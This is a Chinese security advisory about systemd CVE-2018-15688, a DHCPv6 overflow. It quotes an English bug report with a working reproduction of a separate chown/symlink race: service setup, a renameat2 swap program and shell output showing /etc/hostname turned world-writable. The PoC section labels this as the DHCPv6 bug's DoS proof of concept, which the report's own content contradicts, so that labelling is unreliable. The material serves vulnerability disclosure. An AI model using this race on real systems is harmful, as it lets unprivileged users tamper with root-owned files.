漏洞预警 | CVE-2018-15688 systemd 远程代码执行漏洞

阅读量    46482 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

谷歌安全团队发现systemd漏洞并获得CVE编号

谷歌安全研究团队的Felix Wilhelm发现了systemd的漏洞,并申请了CVE编号CVE-2018-15688,借此漏洞攻击者可利用特殊的DHCPv6数据包修改目标系统内存并可能导致远程代码执行。

Wilhelm对此漏洞描述为:“dhcp6_option_append_ia函数负责将服务器接受到的身份关联信息编码到DHCPv6数据包选项缓冲区中。函数接收指向缓冲区的指针buf,其大小为buflen,IA被添加到缓冲区中。在存储至缓冲区前系统会确保剩余空间足够,但是计算过程中忽略了DHCP6Option头中4个字节。这是漏洞产生的原因。当攻击者控制有server-id大于492字符的DHCPv6服务器时可以轻松控制溢出。”

 

漏洞影响

漏洞位于systemd管理系统中的DHCPv6程序中,会影响多个Linux发行版:

Ubuntu、Red Hat、Debian、Fedora、CoreOS、Mint、SUSE Linux Enterprise Server。

当服务器开启IPv6则会自动启动systemd中的DHCPv6程序。同时有安全人员提醒攻击者可通过DHCPv6服务器发送特殊路由信息唤醒服务器DHCPv6程序以利用该漏洞。

 

漏洞PoC

目前可用于DoS攻击的漏洞PoC已经被公布。

[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at
https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports
.]
 
When chown_one() in the recursive chown logic decides that it has to change
ownership of a directory entry, it first changes ownership as follows:
 
        if (name)
                r = fchownat(fd, name, uid, gid, AT_SYMLINK_NOFOLLOW);
        else
                r = fchown(fd, uid, gid);
        if (r < 0)
                return -errno;
 
So far, this looks good. But then this happens:
 
        /* The linux kernel alters the mode in some cases of chown(). Let's undo this. */
        if (name) {
                if (!S_ISLNK(st->st_mode))
                        r = fchmodat(fd, name, st->st_mode, 0);
                else /* There's currently no AT_SYMLINK_NOFOLLOW for fchmodat() */
                        r = 0;
        } else
                r = fchmod(fd, st->st_mode);
 
This is dangerous, especially in the case where `name != NULL`.
 
First off: I don't think that the overall objective of this code block makes
sense. Yes, the kernel sometimes changes the mode when ownership is changed -
but that's only for set-UID binaries and set-GID binaries (but not
set-GID directories).
I'm pretty sure that setuid/setgid binaries aren't supposed to appear in these
directories anyway.
 
The problem here is that, as the comment explains,
`fchmodat(fd, name, st->st_mode, 0)` follows symlinks. The fchmodat() call is
guarded by a `S_ISLNK(st->st_mode)` check, but that's obviously racy and
therefore doesn't actually help.
 
My recommended fix is to just remove the offending code block. If, for some
crazy reason, you actually want to support changing the ownership of
setuid/setgid binaries, an alternative might be to do something like this:
 
    int fd2 = openat(fd, name, O_PATH|O_NOFOLLOW|O_CLOEXEC);
    if (fd2 >= 0) {
      fchmod(fd2, st->st_mode);
      close(fd2);
    }
 
To reproduce, as root, create a service with "Restart=always",
"StartLimitIntervalSec=0", "StateDirectory=test_service" and "User=user" (where
"user" is the name of an unprivileged account). Point "ExecStart" at a binary
that immediately exits:
 
========
int main(void) {
  return 0;
}
========
 
Then start the service.
 
Next, as the user the service is running as, create some entries in
/var/lib/test_service:
 
========
user@ubuntu-18-04-vm:~$ cd /var/lib/test_service/
user@ubuntu-18-04-vm:/var/lib/test_service$ touch foo
user@ubuntu-18-04-vm:/var/lib/test_service$ chmod 0666 foo
user@ubuntu-18-04-vm:/var/lib/test_service$ ln -s /etc/hostname foo2
user@ubuntu-18-04-vm:/var/lib/test_service$ ln foo foo_link
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la
total 8
drwxr-xr-x  2 user user 4096 Okt  8 16:42 .
drwxr-xr-x 67 root root 4096 Okt  8 15:30 ..
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo
lrwxrwxrwx  1 user user   13 Okt  8 16:23 foo2 -> /etc/hostname
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo_link
========
 
Create and run a helper that continuously switches "foo" and "foo2" with each
other:
 
========
user@ubuntu-18-04-vm:~$ cat exchange.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <err.h>
#include <sys/syscall.h>
int main(int argc, char **argv) {
        char *base = argv[1], *p1 = argv[2], *p2 = argv[3];
        if (chdir(base)) err(1, "chdir");
        while (1) {
                if (syscall(__NR_renameat2, AT_FDCWD, p1, AT_FDCWD, p2, 2))
                        perror("renameat");
        }
}
user@ubuntu-18-04-vm:~$ gcc -o exchange exchange.c -O2
user@ubuntu-18-04-vm:~$ ./exchange /var/lib/test_service foo foo2
========
 
Change ownership of "foo_link" and the test_service directory to trigger the
permission fixup logic when the service restarts the next time:
 
========
user@ubuntu-18-04-vm:/var/lib/test_service$ chown user:cdrom foo_link .
========
 
Check whether it worked:
 
========
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la /etc/hostname .
-rw-r--r-- 1 root root   16 Jul  3 19:20 /etc/hostname
 
.:
total 8
drwxr-xr-x  2 user user 4096 Okt  8 16:45 .
drwxr-xr-x 67 root root 4096 Okt  8 15:30 ..
lrwxrwxrwx  1 user user   13 Okt  8 16:23 foo -> /etc/hostname
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo2
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo_link
========
 
If it didn't work (as in this example), retry the chown a few times. After a few
times, you should see this:
 
========
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la /etc/hostname .
-rw-rw-rw- 1 root root   16 Jul  3 19:20 /etc/hostname
 
.:
total 8
drwxr-xr-x  2 user user 4096 Okt  8 16:46 .
drwxr-xr-x 67 root root 4096 Okt  8 15:30 ..
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo
lrwxrwxrwx  1 user user   13 Okt  8 16:23 foo2 -> /etc/hostname
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo_link
========
 
 
 
Another thing that might also go wrong, but that I haven't tested, is the
interaction with the mount.ecryptfs_private helper that comes with ecryptfs.
As far as I can tell, an attacker would be able to use mount.ecryptfs_private to
mount an ecryptfs inside the StateDirectory. This ecryptfs instance could then
function similar to a bind mount, causing systemd to change the ownership of
files that are e.g. in /etc. You might want to ensure that no files or
directories you access are located on an ecryptfs filesystem.

 

漏洞修复

目前systemd作者Leonard Poettering已经发布了补丁程序:Github

 

参考链接

https://securityaffairs.co/wordpress/77470/hacking/systemd-security-flaw.html

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多